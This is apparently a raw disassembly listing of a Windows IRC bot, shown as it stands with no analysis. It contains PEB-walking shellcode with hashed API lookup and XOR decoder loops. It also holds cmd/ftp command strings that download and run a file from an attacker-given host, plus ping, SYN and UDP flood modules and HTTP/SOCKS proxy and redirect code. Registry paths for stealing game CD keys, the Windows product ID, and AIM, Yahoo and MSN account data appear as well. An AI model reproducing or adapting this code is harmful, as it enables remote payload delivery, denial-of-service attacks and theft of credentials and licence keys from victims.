sub_444A70+32j lodsb test al, al jz short loc_444AA4 ror edx, 0Dh add edx, eax jmp short loc_444A98 ; --------------------------------------------------------------------------- loc_444AA4: ; CODE XREF: sub_444A70+2Bj cmp edx, [esp+arg_0] jnz short loc_444A8D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ABD: ; CODE XREF: sub_444A70:loc_444A8Dj mov [esp+arg_0], ebx retn sub_444A70 endp ; =============== S U B R O U T I N E ======================================= sub_444AC2 proc near ; CODE XREF: sub_444A70+7p ; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444ADB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AE6 ; --------------------------------------------------------------------------- loc_444ADB: ; CODE XREF: sub_444AC2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AE6: ; CODE XREF: sub_444AC2+14j pop edi xor esi, esi pusha push esi jmp short loc_444AFA sub_444AC2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AED proc near ; CODE XREF: sub_444AC2:loc_444AFAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AC2 loc_444AFA: ; CODE XREF: sub_444AC2+29j call sub_444AED ; END OF FUNCTION CHUNK FOR sub_444AC2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444B94 dd 23h dword_444B98 dd 60h dword_444B9C dd 62B0606h, 2050501h, 0A0hdword_444BA8 dd 0A1h dword_444BAC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BB8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BC0 ; --------------------------------------------------------------------------- align 10h dword_444BC0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C68: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C6C ; --------------------------------------------------------------------------- loc_444C6A: ; CODE XREF: ___:loc_444C6Cp jmp short loc_444C71 ; --------------------------------------------------------------------------- loc_444C6C: ; CODE XREF: ___:loc_444C68j call loc_444C6A loc_444C71: ; CODE XREF: ___:loc_444C6Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C76 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C7B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C80: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C84 ; --------------------------------------------------------------------------- loc_444C82: ; CODE XREF: ___:loc_444C84p jmp short loc_444C89 ; --------------------------------------------------------------------------- loc_444C84: ; CODE XREF: ___:loc_444C80j call loc_444C82 loc_444C89: ; CODE XREF: ___:loc_444C82j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C8D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444C91 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444C98 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444CFC dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D0C dd 74656720h byte_444D10 db 20h ; DATA XREF: sub_425270+A2r dword_444D11 dd 0E8006A00h dword_444D15 dd 17h ; sub_425270+D2r dword_444D19 dd 0E8C30175h dword_444D1D dd 1 ; sub_425270+E7r byte_444D21 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D2B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F30 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445220 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445248 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445328 dd 1000005h, 0 dword_445330 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004453F8o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454D4 dd 524F5453h byte_4454D8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454DC dd 52544552h byte_4454E0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454E4 dd 5453494Ch byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454EC dd 54534C4Eh byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_4454F4 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456AC dd offset aInterlockedcom+10h ; DATA XREF: ___:0042E35Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456EC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_4456F0 dd 25206425h, 64hdword_4456F8 dd 455A4953h, 732520h, 0dword_445704 dd 4D54444Dh, 732520h, 0dword_445710 dd 4F544E52h, 732520h, 0dword_44571C dd 52464E52h, 732520h, 0dword_445728 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44573C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA: ; DATA XREF: sub_433A20+36o unicode 0, <€>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 446894h, 446F60h, 446860h, 80000002h, 446800h dd 446F60h, 4467D0h, 80000002h, 446778h, 446F60h, 446754h dd 80000002h, 44670Ch, 446F60h, 4466F4h, 80000002h, 4466B0h dd 446F60h, 446688h, 80000002h, 44664Ch, 446F60h, 446618h dd 80000002h, 4465B8h, 446F60h, 44658Ch, 80000002h, 446568h dd 446560h, 446534h, 80000002h, 44650Ch, 446560h, 4464F4h dd 80000001h, 4464C4h, 4464C0h, 4464B0h, 80000002h, 446474h dd 446F60h, 446464h, 80000002h, 446428h, 446F60h, 446414h dd 80000002h, 4463CCh, 446F60h, 4463B0h, 80000002h, 44636Ch dd 446F60h, 446350h, 80000001h, 446328h, 4464C0h, 446318h dd 80000001h, 4462F0h, 4464C0h, 4462D0h, 80000002h, 446294h dd 446290h, 446274h, 80000002h, 446250h, 446248h, 446230h dd 80000001h, 446204h, 4461FCh, 4461D8h, 80000002h, 44618Ch dd 446F60h, 446164h, 80000002h, 446110h, 446F60h, 4460D8h dd 80000002h, 446074h, 446F60h, 446040h, 80000002h, 445FE0h dd 446F60h, 445FC4h, 80000002h, 445F7Ch, 446F60h, 445F60h dd 80000002h, 445F18h, 446F60h, 445F08h, 80000002h, 445ECCh dd 446F60h, 445EBCh, 80000002h, 445E80h, 446F60h, 445E58h dd 80000002h, 445E04h, 446F60h, 445DDCh, 80000002h, 445D8Ch dd 446F60h, 445D70h, 80000002h, 445D48h, 4464C0h, 445D34h dd 80000002h, 445CFCh, 446F60h, 445CCCh, 80000002h, 445C74h dd 446F60h, 445C58h, 80000001h, 445C08h, 445C00h, 445BE4h dd 80000002h, 445BA0h, 445B94h, 445B7Ch, 80000001h, 445B4Ch dd 445B40h, 445B20h, 80000002h, 445AE4h, 445C00h, 445AC4h dd 80000002h, 445A88h, 445C00h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44692C dd 3A6D6961h, 732520h, 0dword_446938 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A6C dd 3A6E736Dh, 732520h, 0dword_446A78 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BA4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BAF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BBB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BC7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BD8: ; CODE XREF: ___:00446BDDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BD8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CD0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F60 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F64 dd 0 ; sub_4245F0+11o ... dword_446F68 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F70 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446F94 dd 41h dup(0) ; ___:0040D380o ... dword_447098 dd 0 ; ___:loc_40D3D4r ... dword_44709C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470A0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470A4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470EC dd 0 ; sub_40FF60+47Dr dword_4470F0 dd 0 ; sub_40FF60+515r ... dword_4470F4 dd 0 ; sub_40FF60+655r ... dword_4470F8 dd 0 ; sub_40FF60+B79r ... dword_4470FC dd 0 ; sub_40FF60+74Br dword_447100 dd 0 ; sub_40FF60+828r dword_447104 dd 0 ; sub_40FF60+77Cr dword_447108 dd 0 ; sub_40FF60+4DDr ... dword_44710C dd 0 ; sub_40FF60+311r dword_447110 dd 0 ; sub_40FF60+34Dr ... dword_447114 dd 0 ; sub_40FF60+33Dr dword_447118 dd 0 ; sub_40FF60+3D2r dword_44711C dd 0 ; sub_40FF60+E93r dword_447120 dd 0 ; sub_40FF60+1220r ... dword_447124 dd 0 ; sub_411FE0+4DAr dword_447128 dd 0 ; sub_40FF60+683r dword_44712C dd 0 ; sub_40FF60+6B5r dword_447130 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447148 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44718A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44718F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_447191 db 0 ; DATA XREF: sub_40DB10r word_447192 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472A7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472AB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472B0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_4472F9 db 3 dup(0) ; DATA XREF: ___:00408AEBo ; sub_40FF60+159o ... dd 11h dup(0) db 2 